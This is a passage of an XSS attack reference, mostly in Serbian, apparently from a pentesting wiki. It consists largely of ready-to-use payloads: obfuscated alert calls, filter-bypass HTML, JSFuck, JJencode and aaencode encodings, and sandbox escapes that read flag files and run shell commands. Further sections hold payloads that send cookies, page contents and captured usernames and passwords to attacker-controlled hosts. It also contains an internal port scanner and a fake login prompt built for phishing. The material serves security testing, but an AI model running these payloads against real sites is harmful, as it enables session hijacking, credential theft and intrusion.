frames['alert'](5)
content['alert'](6)
[7].map(alert)
[8].find(alert)
[9].every(alert)
[10].filter(alert)
[11].findIndex(alert)
[12].forEach(alert);
top[/al/.source+/ert/.source](1)
top[8680439..toString(30)](1)
Function("ale"+"rt(1)")();
new Function`al\ert\`6\``;
Set.constructor('ale'+'rt(13)')();
Set.constructor`al\x65rt\x2814\x29```;
$='e'; x='ev'+'al'; x=this[x]; y='al'+$+'rt(1)'; y=x(y); x(y)
x='ev'+'al'; x=this[x]; y='ale'+'rt(1)'; x(x(y))
this[[]+('eva')+(/x/,new Array)+'l'](/xxx.xxx.xxx.xxx.xx/+alert(1),new Array)
globalThis[`al`+/ert/.source]`1`
this[`al`+/ert/.source]`1`
[alert][0].call(this,1)
window['a'+'l'+'e'+'r'+'t']()
window['a'+'l'+'e'+'r'+'t'].call(this,1)
top['a'+'l'+'e'+'r'+'t'].apply(this,[1])
(1,2,3,4,5,6,7,8,alert)(1)
x=alert,x(1)
[1].find(alert)
top["al"+"ert"](1)
top[/al/.source+/ert/.source](1)
al\u0065rt(1)
al\u0065rt`1`
top['al\145rt'](1)
top['al\x65rt'](1)
top[8680439..toString(30)](1)
<svg><animate onbegin=alert() attributeName=x></svg>

DOM vulnerabilities

Postoji JS code koji koristi nesigurne podatke koje kontroliše napadač kao što je location.href. Napadač može to zloupotrebiti da izvrši proizvoljan JS kod.
Zbog obimnijeg objašnjenja DOM vulnerabilities it was moved to this page:

DOM XSS

Tamo ćete naći detaljno objašnjenje šta su DOM vulnerabilities, kako nastaju i kako ih iskoristiti.
Takođe, ne zaboravite da na kraju pomenutog posta možete naći objašnjenje o DOM Clobbering attacks.

Upgrading Self-XSS

Ako možete pokrenuti XSS tako što ćete poslati payload unutar cookie-a, to je obično self-XSS. Međutim, ako nađete vulnerable subdomain to XSS, možete zloupotrebiti taj XSS da ubacite cookie za ceo domen i tako izazovete cookie XSS na glavnom domenu ili drugim poddomenima (onima ranjivim na cookie XSS). Za ovo možete koristiti cookie tossing attack:

Cookie Tossing

Primer značajne zloupotrebe ove tehnike možete naći u this blog post.

Sending your session to the admin

Moguće je da korisnik podeli svoj profil sa adminom, i ako je self XSS u profilu korisnika i admin mu pristupi, on će aktivirati ranjivost.

Session Mirroring

Ako nađete self XSS i web stranica ima session mirroring for administrators, na primer omogućavajući klijentima da zatraže pomoć, da bi admin mogao da pomogne videće ono što vidite u svojoj sesiji ali iz svoje (adminove) sesije.

Možete naterati administrator trigger your self XSS i ukrasti njegove cookies/session.

Other Bypasses

Normalised Unicode

Možete proveriti da li su reflected values unicode normalizovane na serveru (ili na klijentu) i zloupotrebiti tu funkcionalnost da zaobiđete zaštite. Find an example here.

PHP FILTER_VALIDATE_EMAIL flag Bypass

javascript
"><svg/onload=confirm(1)>"@x.y

Ruby-On-Rails bypass

Zbog RoR mass assignment navodnici se ubacuju u HTML i time se ograničenje navodnika zaobilazi, pa se dodatna polja (onfocus) mogu dodati unutar taga.
Primer forme (from this report), ako pošaljete payload:

contact[email] onfocus=javascript:alert('xss') autofocus a=a&form_type[a]aaa

Par "Key","Value" biće vraćen ovako:

{" onfocus=javascript:alert(&#39;xss&#39;) autofocus a"=>"a"}

Zatim će atribut onfocus biti umetnut i događa se XSS.

Posebne kombinacije

html
<iframe/src="data:text/html,<svg onload=alert(1)>">
<input type=image src onerror="prompt(1)">
<svg onload=alert(1)//
<img src="/" =_=" title="onerror='prompt(1)'">
<img src='1' onerror='alert(0)' <
<script x> alert(1) </script 1=2
<script x>alert('XSS')<script y>
<svg/onload=location=`javas`+`cript:ale`+`rt%2`+`81%2`+`9`;//
<svg////////onload=alert(1)>
<svg id=x;onload=alert(1)>
<svg id=`x`onload=alert(1)>
<img src=1 alt=al lang=ert onerror=top[alt+lang](0)>
<script>$=1,alert($)</script>
<script ~~~>confirm(1)</script ~~~>
<script>$=1,\u0061lert($)</script>
<</script/script><script>eval('\\u'+'0061'+'lert(1)')//</script>
<</script/script><script ~~~>\u0061lert(1)</script ~~~>
</style></scRipt><scRipt>alert(1)</scRipt>
<img src=x:prompt(eval(alt)) onerror=eval(src) alt=String.fromCharCode(88,83,83)>
<svg><x><script>alert('1'&#41</x>
<iframe src=""/srcdoc='<svg onload=alert(1)>'>
<svg><animate onbegin=alert() attributeName=x></svg>
<img/id="alert('XSS')\"/alt=\"/\"src=\"/\"onerror=eval(id)>
<img src=1 onerror="s=document.createElement('script');s.src='http://xss.rocks/xss.js';document.body.appendChild(s);">
(function(x){this[x+`ert`](1)})`al`
window[`al`+/e/[`ex`+`ec`]`e`+`rt`](2)
document['default'+'View'][`\u0061lert`](3)

XSS sa injekcijom header-a u 302 odgovoru

Ako otkrijete da možete inject headers in a 302 Redirect response možete pokušati da make the browser execute arbitrary JavaScript. Ovo nije trivijalno jer moderni browseri ne interpretiraju HTTP response body ako je HTTP response status code 302, tako da je običan cross-site scripting payload beskoristan.

U this report i this one možete pročitati kako testirati nekoliko protokola unutar Location header-a i videti da li neki od njih omogućava browseru da pregleda i izvrši XSS payload iz tela odgovora.
Ranije poznati protokoli: mailto://, //x:1/, ws://, wss://, prazan Location header, resource://.

Samo slova, brojevi i tačke

Ako možete naznačiti callback koji će javascript execute ograničen samo na ta slova, brojeve i tačke. Read this section of this post da biste saznali kako zloupotrebiti ovo ponašanje.

Podržani <script> Content-Types za XSS

(From here) Ako pokušate da učitate skriptu sa content-type kao application/octet-stream, Chrome će baciti sledeću grešku:

Refused to execute script from ‘https://uploader.c.hc.lc/uploads/xxx' because its MIME type (‘application/octet-stream’) is not executable, and strict MIME type checking is enabled.

Jedini Content-Type-ovi koji će podržati Chrome da izvrši loaded script su oni koji se nalaze unutar konstante kSupportedJavascriptTypes iz https://chromium.googlesource.com/chromium/src.git/+/refs/tags/103.0.5012.1/third_party/blink/common/mime_util/mime_util.cc

c
const char* const kSupportedJavascriptTypes[] = {
"application/ecmascript",
"application/javascript",
"application/x-ecmascript",
"application/x-javascript",
"text/ecmascript",
"text/javascript",
"text/javascript1.0",
"text/javascript1.1",
"text/javascript1.2",
"text/javascript1.3",
"text/javascript1.4",
"text/javascript1.5",
"text/jscript",
"text/livescript",
"text/x-ecmascript",
"text/x-javascript",
};

Tipovi skripti za XSS

(From here) Dakle, koji tipovi mogu biti navedeni da bi se učitala skripta?

html
<script type="???"></script>

Odgovor je:

  • module (podrazumevano, nema šta objašnjavati)
  • webbundle: Web Bundles je funkcija koja vam omogućava da spakujete gomilu podataka (HTML, CSS, JS…) zajedno u .wbn fajl.
html
<script type="webbundle">
{
"source": "https://example.com/dir/subresources.wbn",
"resources": ["https://example.com/dir/a.js", "https://example.com/dir/b.js", "https://example.com/dir/c.png"]
}
</script>
The resources are loaded from the source .wbn, not accessed via HTTP
  • importmap: Omogućava poboljšanje import sintakse
html
<script type="importmap">
{
"imports": {
"moment": "/node_modules/moment/src/moment.js",
"lodash": "/node_modules/lodash-es/lodash.js"
}
}
</script>

<!-- With importmap you can do the following -->
<script>
import moment from "moment"
import { partition } from "lodash"
</script>

Ovo ponašanje je korišćeno u this writeup da premapira biblioteku na eval, čija zloupotreba može izazvati XSS.

  • speculationrules: Ova funkcija je prvenstveno namenjena rešavanju nekih problema izazvanih pre-renderingom. Funkcioniše ovako:
html
<script type="speculationrules">
{
"prerender": [
{ "source": "list", "urls": ["/page/2"], "score": 0.5 },
{
"source": "document",
"if_href_matches": ["https://*.wikipedia.org/**"],
"if_not_selector_matches": [".restricted-section *"],
"score": 0.1
}
]
}
</script>

Web Content-Types za XSS

(Iz here) Sledeći tipovi sadržaja mogu da izvrše XSS u svim preglednicima:

  • text/html
  • application/xhtml+xml
  • application/xml
  • text/xml
  • image/svg+xml
  • text/plain (?? not in the list but I think I saw this in a CTF)
  • application/rss+xml (off)
  • application/atom+xml (off)

U drugim preglednicima drugi Content-Types se mogu iskoristiti za izvršavanje proizvoljnog JS-a, pogledajte: https://github.com/BlackFan/content-type-research/blob/master/XSS.md

xml tip sadržaja

Ako stranica vraća content-type text/xml, moguće je navesti namespace i izvršiti proizvoljan JS:

xml
<xml>
<text>hello<img src="1" onerror="alert(1)" xmlns="http://www.w3.org/1999/xhtml" /></text>
</xml>

<!-- Heyes, Gareth. JavaScript for hackers: Learn to think like a hacker (p. 113). Kindle Edition. -->

Specijalni obrasci zamene

Kada se koristi nešto poput "some {{template}} data".replace("{{template}}", <user_input>). Napadač može koristiti special string replacements da pokuša zaobići neka zaštitna sredstva: "123 {{template}} 456".replace("{{template}}", JSON.stringify({"name": "$'$`alert(1)//"}))

Na primer, u this writeup, ovo je korišćeno da bi se escape-ovao JSON string unutar skripta i izvršio proizvoljan kod.

Chrome Cache to XSS

Chrome Cache to XSS

XS Jails Escape

Ako imate ograničen skup karaktera koje možete koristiti, pogledajte ova druga validna rešenja za XSJail probleme:

javascript
// eval + unescape + regex
eval(unescape(/%2f%0athis%2econstructor%2econstructor(%22return(process%2emainModule%2erequire(%27fs%27)%2ereadFileSync(%27flag%2etxt%27,%27utf8%27))%22)%2f/))()
eval(unescape(1+/1,this%2evalueOf%2econstructor(%22process%2emainModule%2erequire(%27repl%27)%2estart()%22)()%2f/))

// use of with
with(console)log(123)
with(/console.log(1)/index.html)with(this)with(constructor)constructor(source)()
// Just replace console.log(1) to the real code, the code we want to run is:
//return String(process.mainModule.require('fs').readFileSync('flag.txt'))

with(process)with(mainModule)with(require('fs'))return(String(readFileSync('flag.txt')))
with(k='fs',n='flag.txt',process)with(mainModule)with(require(k))return(String(readFileSync(n)))
with(String)with(f=fromCharCode,k=f(102,115),n=f(102,108,97,103,46,116,120,116),process)with(mainModule)with(require(k))return(String(readFileSync(n)))

//Final solution
with(
/with(String)
with(f=fromCharCode,k=f(102,115),n=f(102,108,97,103,46,116,120,116),process)
with(mainModule)
with(require(k))
return(String(readFileSync(n)))
/)
with(this)
with(constructor)
constructor(source)()

// For more uses of with go to challenge misc/CaaSio PSE in
// https://blog.huli.tw/2022/05/05/en/angstrom-ctf-2022-writeup-en/#misc/CaaSio%20PSE

Ako je pre izvršavanja nepouzdanog koda everything is undefined (kao u this writeup), moguće je generisati korisne objekte „iz ničega“ kako bi se zloupotrebilo izvršavanje proizvoljnog nepouzdanog koda:

  • Korišćenjem import()
javascript
// although import "fs" doesn’t work, import('fs') does.
import("fs").then((m) => console.log(m.readFileSync("/flag.txt", "utf8")))
  • Pristupanje require indirektno

According to this moduli su od Node.js umotani unutar funkcije, ovako:

javascript
;(function (exports, require, module, __filename, __dirname) {
// our actual module code
})

Stoga, ako iz tog modula možemo pozvati drugu funkciju, moguće je koristiti arguments.callee.caller.arguments[1] iz te funkcije da pristupimo require:

javascript
;(function () {
return arguments.callee.caller.arguments[1]("fs").readFileSync(
"/flag.txt",
"utf8"
)
})()

Na sličan način kao u prethodnom primeru, moguće je use error handlers da se pristupi wrapper modula i dobije require funkciju:

javascript
try {
null.f()
} catch (e) {
TypeError = e.constructor
}
Object = {}.constructor
String = "".constructor
Error = TypeError.prototype.__proto__.constructor
function CustomError() {
const oldStackTrace = Error.prepareStackTrace
try {
Error.prepareStackTrace = (err, structuredStackTrace) =>
structuredStackTrace
Error.captureStackTrace(this)
this.stack
} finally {
Error.prepareStackTrace = oldStackTrace
}
}
function trigger() {
const err = new CustomError()
console.log(err.stack[0])
for (const x of err.stack) {
// use x.getFunction() to get the upper function, which is the one that Node.js adds a wrapper to, and then use arugments to get the parameter
const fn = x.getFunction()
console.log(String(fn).slice(0, 200))
console.log(fn?.arguments)
console.log("=".repeat(40))
if ((args = fn?.arguments)?.length > 0) {
req = args[1]
console.log(req("child_process").execSync("id").toString())
}
}
}
trigger()

Obfuscation & Advanced Bypass

javascript
//Katana
<script>
([,ウ,,,,ア]=[]+{}
,[ネ,ホ,ヌ,セ,,ミ,ハ,ヘ,,,ナ]=[!!ウ]+!ウ+ウ.ウ)[ツ=ア+ウ+ナ+ヘ+ネ+ホ+ヌ+ア+ネ+ウ+ホ][ツ](ミ+ハ+セ+ホ+ネ+'(-~ウ)')()
</script>
javascript
//JJencode
<script>$=~[];$={___:++$,$:(![]+"")[$],__$:++$,$_$_:(![]+"")[$],_$_:++$,$_$:({}+"")[$],$_$:($[$]+"")[$],_$:++$,$_:(!""+"")[$],$__:++$,$_$:++$,$__:({}+"")[$],$_:++$,$:++$,$___:++$,$__$:++$};$.$_=($.$_=$+"")[$.$_$]+($._$=$.$_[$.__$])+($.$=($.$+"")[$.__$])+((!$)+"")[$._$]+($.__=$.$_[$.$_])+($.$=(!""+"")[$.__$])+($._=(!""+"")[$._$_])+$.$_[$.$_$]+$.__+$._$+$.$;$.$=$.$+(!""+"")[$._$]+$.__+$._+$.$+$.$;$.$=($.___)[$.$_][$.$_];$.$($.$($.$+"\""+$.$_$_+(![]+"")[$._$_]+$.$_+"\\"+$.__$+$.$_+$._$_+$.__+"("+$.___+")"+"\"")())();</script>
javascript
//JSFuck
<script>
(+[])[([][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!+[]+[])[+[]]+(!+[]+[])[!+[]+!+[]+!+[]]+(!+[]+[])[+!+[]]]+[])[!+[]+!+[]+!+[]]+(!+[]+[][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!+[]+[])[+[]]+(!+[]+[])[!+[]+!+[]+!+[]]+(!+[]+[])[+!+[]]])[+!+[]+[+[]]]+([][[]]+[])[+!+[]]+(![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+[]]+(!![]+[])[+!+[]]+([][[]]+[])[+[]]+([][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!+[]+[])[+[]]+(!+[]+[])[!+[]+!+[]+!+[]]+(!+[]+[])[+!+[]]]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+[]]+(!+[]+[][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!+[]+[])[+[]]+(!+[]+[])[!+[]+!+[]+!+[]]+(!+[]+[])[+!+[]]])[+!+[]+[+[]]]+(!![]+[])[+!+[]]][([][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!+[]+[])[+[]]+(!+[]+[])[!+[]+!+[]+!+[]]+(!+[]+[])[+!+[]]]+[])[!+[]+!+[]+!+[]]+(!+[]+[][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!+[]+[])[+[]]+(!+[]+[])[!+[]+!+[]+!+[]]+(!+[]+[])[+!+[]]])[+!+[]+[+[]]]+([][[]]+[])[+!+[]]+(![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+[]]+(!![]+[])[+!+[]]+([][[]]+[])[+[]]+([][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!+[]+[])[+[]]+(!+[]+[])[!+[]+!+[]+!+[]]+(!+[]+[])[+!+[]]]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+[]]+(!+[]+[][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!+[]+[])[+[]]+(!+[]+[])[!+[]+!+[]+!+[]]+(!+[]+[])[+!+[]]])[+!+[]+[+[]]]+(!![]+[])[+!+[]]]((![]+[])[+!+[]]+(![]+[])[!+[]+!+[]]+(!+[]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+!+[]]+(!![]+[])[+[]]+([][([][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!+[]+[])[+[]]+(!+[]+[])[!+[]+!+[]+!+[]]+(!+[]+[])[+!+[]]]+[])[!+[]+!+[]+!+[]]+(!+[]+[][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!+[]+[])[+[]]+(!+[]+[])[!+[]+!+[]+!+[]]+(!+[]+[])[+!+[]]])[+!+[]+[+[]]]+([][[]]+[])[+!+[]]+(![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+[]]+(!![]+[])[+!+[]]+([][[]]+[])[+[]]+([][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!+[]+[])[+[]]+(!+[]+[])[!+[]+!+[]+!+[]]+(!+[]+[])[+!+[]]]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+[]]+(!+[]+[][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!+[]+[])[+[]]+(!+[]+[])[!+[]+!+[]+!+[]]+(!+[]+[])[+!+[]]])[+!+[]+[+[]]]+(!![]+[])[+!+[]]]+[])[[+!+[]]+[!+[]+!+[]+!+[]+!+[]]]+[+[]]+([][([][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!+[]+[])[+[]]+(!+[]+[])[!+[]+!+[]+!+[]]+(!+[]+[])[+!+[]]]+[])[!+[]+!+[]+!+[]]+(!+[]+[][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!+[]+[])[+[]]+(!+[]+[])[!+[]+!+[]+!+[]]+(!+[]+[])[+!+[]]])[+!+[]+[+[]]]+([][[]]+[])[+!+[]]+(![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+[]]+(!![]+[])[+!+[]]+([][[]]+[])[+[]]+([][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!+[]+[])[+[]]+(!+[]+[])[!+[]+!+[]+!+[]]+(!+[]+[])[+!+[]]]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+[]]+(!+[]+[][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!+[]+[])[+[]]+(!+[]+[])[!+[]+!+[]+!+[]]+(!+[]+[])[+!+[]]])[+!+[]+[+[]]]+(!![]+[])[+!+[]]]+[])[[+!+[]]+[!+[]+!+[]+!+[]+!+[]+!+[]]])()
</script>
javascript
//aaencode
゚ω゚ノ = /`m´)ノ ~┻━┻   / /*´∇`*/["_"]
o = ゚ー゚ = _ = 3
c = ゚Θ゚ = ゚ー゚ - ゚ー゚
゚Д゚ = ゚Θ゚ = (o ^ _ ^ o) / (o ^ _ ^ o)
゚Д゚ = {
゚Θ゚: "_",
゚ω゚ノ: ((゚ω゚ノ == 3) + "_")[゚Θ゚],
゚ー゚ノ: (゚ω゚ノ + "_")[o ^ _ ^ (o - ゚Θ゚)],
゚Д゚ノ: ((゚ー゚ == 3) + "_")[゚ー゚],
}
゚Д゚[゚Θ゚] = ((゚ω゚ノ == 3) + "_")[c ^ _ ^ o]
゚Д゚["c"] = (゚Д゚ + "_")[゚ー゚ + ゚ー゚ - ゚Θ゚]
゚Д゚["o"] = (゚Д゚ + "_")[゚Θ゚]
゚o゚ =
゚Д゚["c"] +
゚Д゚["o"] +
(゚ω゚ノ + "_")[゚Θ゚] +
((゚ω゚ノ == 3) + "_")[゚ー゚] +
(゚Д゚ + "_")[゚ー゚ + ゚ー゚] +
((゚ー゚ == 3) + "_")[゚Θ゚] +
((゚ー゚ == 3) + "_")[゚ー゚ - ゚Θ゚] +
゚Д゚["c"] +
(゚Д゚ + "_")[゚ー゚ + ゚ー゚] +
゚Д゚["o"] +
((゚ー゚ == 3) + "_")[゚Θ゚]
゚Д゚["_"] = (o ^ _ ^ o)[゚o゚][゚o゚]
゚ε゚ =
((゚ー゚ == 3) + "_")[゚Θ゚] +
゚Д゚.゚Д゚ノ +
(゚Д゚ + "_")[゚ー゚ + ゚ー゚] +
((゚ー゚ == 3) + "_")[o ^ _ ^ (o - ゚Θ゚)] +
((゚ー゚ == 3) + "_")[゚Θ゚] +
(゚ω゚ノ + "_")[゚Θ゚]
゚ー゚ += ゚Θ゚
゚Д゚[゚ε゚] = "\\"
゚Д゚.゚Θ゚ノ = (゚Д゚ + ゚ー゚)[o ^ _ ^ (o - ゚Θ゚)]
o゚ー゚o = (゚ω゚ノ + "_")[c ^ _ ^ o]
゚Д゚[゚o゚] = '"'
゚Д゚["_"](
゚Д゚["_"](
゚ε゚ +
゚Д゚[゚o゚] +
゚Д゚[゚ε゚] +
゚Θ゚ +
゚ー゚ +
゚Θ゚ +
゚Д゚[゚ε゚] +
゚Θ゚ +
(゚ー゚ + ゚Θ゚) +
゚ー゚ +
゚Д゚[゚ε゚] +
゚Θ゚ +
゚ー゚ +
(゚ー゚ + ゚Θ゚) +
゚Д゚[゚ε゚] +
゚Θ゚ +
((o ^ _ ^ o) + (o ^ _ ^ o)) +
((o ^ _ ^ o) - ゚Θ゚) +
゚Д゚[゚ε゚] +
゚Θ゚ +
((o ^ _ ^ o) + (o ^ _ ^ o)) +
゚ー゚ +
゚Д゚[゚ε゚] +
(゚ー゚ + ゚Θ゚) +
(c ^ _ ^ o) +
゚Д゚[゚ε゚] +
゚ー゚ +
((o ^ _ ^ o) - ゚Θ゚) +
゚Д゚[゚ε゚] +
゚Θ゚ +
゚Θ゚ +
(c ^ _ ^ o) +
゚Д゚[゚ε゚] +
゚Θ゚ +
゚ー゚ +
(゚ー゚ + ゚Θ゚) +
゚Д゚[゚ε゚] +
゚Θ゚ +
(゚ー゚ + ゚Θ゚) +
゚ー゚ +
゚Д゚[゚ε゚] +
゚Θ゚ +
(゚ー゚ + ゚Θ゚) +
゚ー゚ +
゚Д゚[゚ε゚] +
゚Θ゚ +
(゚ー゚ + ゚Θ゚) +
(゚ー゚ + (o ^ _ ^ o)) +
゚Д゚[゚ε゚] +
(゚ー゚ + ゚Θ゚) +
゚ー゚ +
゚Д゚[゚ε゚] +
゚ー゚ +
(c ^ _ ^ o) +
゚Д゚[゚ε゚] +
゚Θ゚ +
゚Θ゚ +
((o ^ _ ^ o) - ゚Θ゚) +
゚Д゚[゚ε゚] +
゚Θ゚ +
゚ー゚ +
゚Θ゚ +
゚Д゚[゚ε゚] +
゚Θ゚ +
((o ^ _ ^ o) + (o ^ _ ^ o)) +
((o ^ _ ^ o) + (o ^ _ ^ o)) +
゚Д゚[゚ε゚] +
゚Θ゚ +
゚ー゚ +
゚Θ゚ +
゚Д゚[゚ε゚] +
゚Θ゚ +
((o ^ _ ^ o) - ゚Θ゚) +
(o ^ _ ^ o) +
゚Д゚[゚ε゚] +
゚Θ゚ +
゚ー゚ +
(o ^ _ ^ o) +
゚Д゚[゚ε゚] +
゚Θ゚ +
((o ^ _ ^ o) + (o ^ _ ^ o)) +
((o ^ _ ^ o) - ゚Θ゚) +
゚Д゚[゚ε゚] +
゚Θ゚ +
(゚ー゚ + ゚Θ゚) +
゚Θ゚ +
゚Д゚[゚ε゚] +
゚Θ゚ +
((o ^ _ ^ o) + (o ^ _ ^ o)) +
(c ^ _ ^ o) +
゚Д゚[゚ε゚] +
゚Θ゚ +
((o ^ _ ^ o) + (o ^ _ ^ o)) +
゚ー゚ +
゚Д゚[゚ε゚] +
゚ー゚ +
((o ^ _ ^ o) - ゚Θ゚) +
゚Д゚[゚ε゚] +
(゚ー゚ + ゚Θ゚) +
゚Θ゚ +
゚Д゚[゚o゚]
)(゚Θ゚)
)("_")
javascript
// It's also possible to execute JS code only with the chars: []`+!${}

XSS common payloads

Više payloads u 1

Steal Info JS

Iframe Trap

Naterajte korisnika da se kreće po stranici bez izlaska iz iframe-a i ukradete njegove radnje (uključujući informacije poslate u formularima):

Iframe Traps

Retrieve Cookies

javascript
<img src=x onerror=this.src="http://<YOUR_SERVER_IP>/?c="+document.cookie>
<img src=x onerror="location.href='http://<YOUR_SERVER_IP>/?c='+ document.cookie">
<script>new Image().src="http://<IP>/?c="+encodeURI(document.cookie);</script>
<script>new Audio().src="http://<IP>/?c="+escape(document.cookie);</script>
<script>location.href = 'http://<YOUR_SERVER_IP>/Stealer.php?cookie='+document.cookie</script>
<script>location = 'http://<YOUR_SERVER_IP>/Stealer.php?cookie='+document.cookie</script>
<script>document.location = 'http://<YOUR_SERVER_IP>/Stealer.php?cookie='+document.cookie</script>
<script>document.location.href = 'http://<YOUR_SERVER_IP>/Stealer.php?cookie='+document.cookie</script>
<script>document.write('<img src="http://<YOUR_SERVER_IP>?c='+document.cookie+'" />')</script>
<script>window.location.assign('http://<YOUR_SERVER_IP>/Stealer.php?cookie='+document.cookie)</script>
<script>window['location']['assign']('http://<YOUR_SERVER_IP>/Stealer.php?cookie='+document.cookie)</script>
<script>window['location']['href']('http://<YOUR_SERVER_IP>/Stealer.php?cookie='+document.cookie)</script>
<script>document.location=["http://<YOUR_SERVER_IP>?c",document.cookie].join()</script>
<script>var i=new Image();i.src="http://<YOUR_SERVER_IP>/?c="+document.cookie</script>
<script>window.location="https://<SERVER_IP>/?c=".concat(document.cookie)</script>
<script>var xhttp=new XMLHttpRequest();xhttp.open("GET", "http://<SERVER_IP>/?c="%2Bdocument.cookie, true);xhttp.send();</script>
<script>eval(atob('ZG9jdW1lbnQud3JpdGUoIjxpbWcgc3JjPSdodHRwczovLzxTRVJWRVJfSVA+P2M9IisgZG9jdW1lbnQuY29va2llICsiJyAvPiIp'));</script>
<script>fetch('https://YOUR-SUBDOMAIN-HERE.burpcollaborator.net', {method: 'POST', mode: 'no-cors', body:document.cookie});</script>
<script>navigator.sendBeacon('https://ssrftest.com/x/AAAAA',document.cookie)</script>

tip

Nećete moći da pristupite cookies iz JavaScript-a ako je HTTPOnly flag postavljen u cookie. Ali ovde imate neke načine da zaobiđete ovu zaštitu ako budete imali sreće.

Krađa sadržaja stranice

javascript
var url = "http://10.10.10.25:8000/vac/a1fbf2d1-7c3f-48d2-b0c3-a205e54e09e8"
var attacker = "http://10.10.14.8/exfil"
var xhr = new XMLHttpRequest()
xhr.onreadystatechange = function () {
if (xhr.readyState == XMLHttpRequest.DONE) {
fetch(attacker + "?" + encodeURI(btoa(xhr.responseText)))
}
}
xhr.open("GET", url, true)
xhr.send(null)

Pronađite interne IP adrese

html
<script>
var q = []
var collaboratorURL =
"http://5ntrut4mpce548i2yppn9jk1fsli97.burpcollaborator.net"
var wait = 2000
var n_threads = 51

// Prepare the fetchUrl functions to access all the possible
for (i = 1; i <= 255; i++) {
q.push(
(function (url) {
return function () {
fetchUrl(url, wait)
}
})("http://192.168.0." + i + ":8080")
)
}

// Launch n_threads threads that are going to be calling fetchUrl until there is no more functions in q
for (i = 1; i <= n_threads; i++) {
if (q.length) q.shift()()
}

function fetchUrl(url, wait) {
console.log(url)
var controller = new AbortController(),
signal = controller.signal
fetch(url, { signal })
.then((r) =>
r.text().then((text) => {
location =
collaboratorURL +
"?ip=" +
url.replace(/^http:\/\//, "") +
"&code=" +
encodeURIComponent(text) +
"&" +
Date.now()
})
)
.catch((e) => {
if (!String(e).includes("The user aborted a request") && q.length) {
q.shift()()
}
})

setTimeout((x) => {
controller.abort()
if (q.length) {
q.shift()()
}
}, wait)
}
</script>

Port Scanner (fetch)

javascript
const checkPort = (port) => { fetch(http://localhost:${port}, { mode: "no-cors" }).then(() => { let img = document.createElement("img"); img.src = http://attacker.com/ping?port=${port}; }); } for(let i=0; i<1000; i++) { checkPort(i); }

Port Scanner (websockets)

python
var ports = [80, 443, 445, 554, 3306, 3690, 1234];
for(var i=0; i<ports.length; i++) {
var s = new WebSocket("wss://192.168.1.1:" + ports[i]);
s.start = performance.now();
s.port = ports[i];
s.onerror = function() {
console.log("Port " + this.port + ": " + (performance.now() -this.start) + " ms");
};
s.onopen = function() {
console.log("Port " + this.port+ ": " + (performance.now() -this.start) + " ms");
};
}

Kratka vremena ukazuju na port koji odgovara Duža vremena ukazuju na neodgovor.

Pregledajte listu portova zabranjenih u Chrome here i u Firefox here.

Polje za traženje podataka za prijavu

html
<style>::placeholder { color:white; }</style><script>document.write("<div style='position:absolute;top:100px;left:250px;width:400px;background-color:white;height:230px;padding:15px;border-radius:10px;color:black'><form action='https://example.com/'><p>Your sesion has timed out, please login again:</p><input style='width:100%;' type='text' placeholder='Username' /><input style='width: 100%' type='password' placeholder='Password'/><input type='submit' value='Login'></form><p><i>This login box is presented using XSS as a proof-of-concept</i></p></div>")</script>

Hvatanje lozinki iz automatskog popunjavanja

javascript
<b>Username:</><br>
<input name=username id=username>
<b>Password:</><br>
<input type=password name=password onchange="if(this.value.length)fetch('https://YOUR-SUBDOMAIN-HERE.burpcollaborator.net',{
method:'POST',
mode: 'no-cors',
body:username.value+':'+this.value
});">

Kada se bilo koji podatak unese u password polje, username i password se šalju na server napadača; čak i ako client izabere saved password i ne ukuca ništa, credentials će biti ex-filtrated.

Hijack form handlers to exfiltrate credentials (const shadowing)

Ako je kritični handler (npr., function DoLogin(){...}) deklarisan kasnije na stranici, a tvoj payload se izvršava ranije (npr., putem inline JS-in-JS sink), definiši const istog imena prvo da preduhitriš i zaključaš handler. Kasnije deklaracije funkcija ne mogu ponovo vezati const ime, ostavljajući tvoj hook pod kontrolom:

javascript
const DoLogin = () => {
const pwd  = Trim(FormInput.InputPassword.value);
const user = Trim(FormInput.InputUtente.value);
fetch('https://attacker.example/?u='+encodeURIComponent(user)+'&p='+encodeURIComponent(pwd));
};

Notes

  • Ovo zavisi od reda izvršavanja: vaša injekcija mora biti izvršena pre legitimne deklaracije.
  • Ako je vaš payload zamotan u eval(...), const/let vezivanja neće postati globalna. Koristite dinamičku <script> injekciju iz sekcije “Deliverable payloads with eval(atob()) and scope nuances” kako biste obezbedili pravi globalni binding koji se ne može ponovo vezati.
